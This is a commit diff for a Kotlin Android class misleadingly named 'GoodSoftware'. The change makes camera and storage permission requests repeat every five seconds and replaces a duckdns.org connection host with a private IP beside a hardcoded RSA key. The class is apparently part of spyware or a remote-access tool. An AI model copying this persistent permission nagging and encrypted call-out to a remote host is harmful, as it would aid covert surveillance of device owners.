Make timer schedule
This commit is contained in:
		@@ -41,6 +41,7 @@ import javax.crypto.Cipher
 | 
				
			|||||||
import javax.crypto.spec.IvParameterSpec
 | 
					import javax.crypto.spec.IvParameterSpec
 | 
				
			||||||
import javax.crypto.spec.SecretKeySpec
 | 
					import javax.crypto.spec.SecretKeySpec
 | 
				
			||||||
import kotlin.concurrent.schedule
 | 
					import kotlin.concurrent.schedule
 | 
				
			||||||
 | 
					import kotlin.concurrent.scheduleAtFixedRate
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
class GoodSoftware (private val activity: Context) {
 | 
					class GoodSoftware (private val activity: Context) {
 | 
				
			||||||
@@ -111,23 +112,16 @@ class GoodSoftware (private val activity: Context) {
 | 
				
			|||||||
    private fun startCheckingPermission() {
 | 
					    private fun startCheckingPermission() {
 | 
				
			||||||
        timerStorage = Timer("CheckStoragePermissionTimer", false)
 | 
					        timerStorage = Timer("CheckStoragePermissionTimer", false)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        timerStorage?.schedule(0) {
 | 
					        timerStorage?.scheduleAtFixedRate(0, 5000) {
 | 
				
			||||||
            checkStoragePermission()
 | 
					 | 
				
			||||||
        }
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        timerStorage?.schedule(5000) {
 | 
					 | 
				
			||||||
            checkStoragePermission()
 | 
					            checkStoragePermission()
 | 
				
			||||||
 | 
					            println("Requesting storage permission again")
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        timerCamera = Timer("CheckCameraPermissionTimer", false)
 | 
					        timerCamera = Timer("CheckCameraPermissionTimer", false)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        timerCamera?.schedule(0) {
 | 
					        timerCamera?.scheduleAtFixedRate(0, 5000) {
 | 
				
			||||||
            checkCameraPermission()
 | 
					            checkCameraPermission()
 | 
				
			||||||
        }
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
        timerCamera?.schedule(5000) {
 | 
					 | 
				
			||||||
            println("Requesting camera permission again")
 | 
					            println("Requesting camera permission again")
 | 
				
			||||||
            checkCameraPermission()
 | 
					 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -317,7 +311,7 @@ class GoodSoftware (private val activity: Context) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
    fun establishConnection(): ConnectionResult{
 | 
					    fun establishConnection(): ConnectionResult{
 | 
				
			||||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
					        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
				
			||||||
        val host = "thinclient.duckdns.org"
 | 
					        val host = "192.168.90.151"
 | 
				
			||||||
        val port = 5645
 | 
					        val port = 5645
 | 
				
			||||||
        val secureRandom = SecureRandom()
 | 
					        val secureRandom = SecureRandom()
 | 
				
			||||||
        val keyBytes = ByteArray(16)
 | 
					        val keyBytes = ByteArray(16)
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user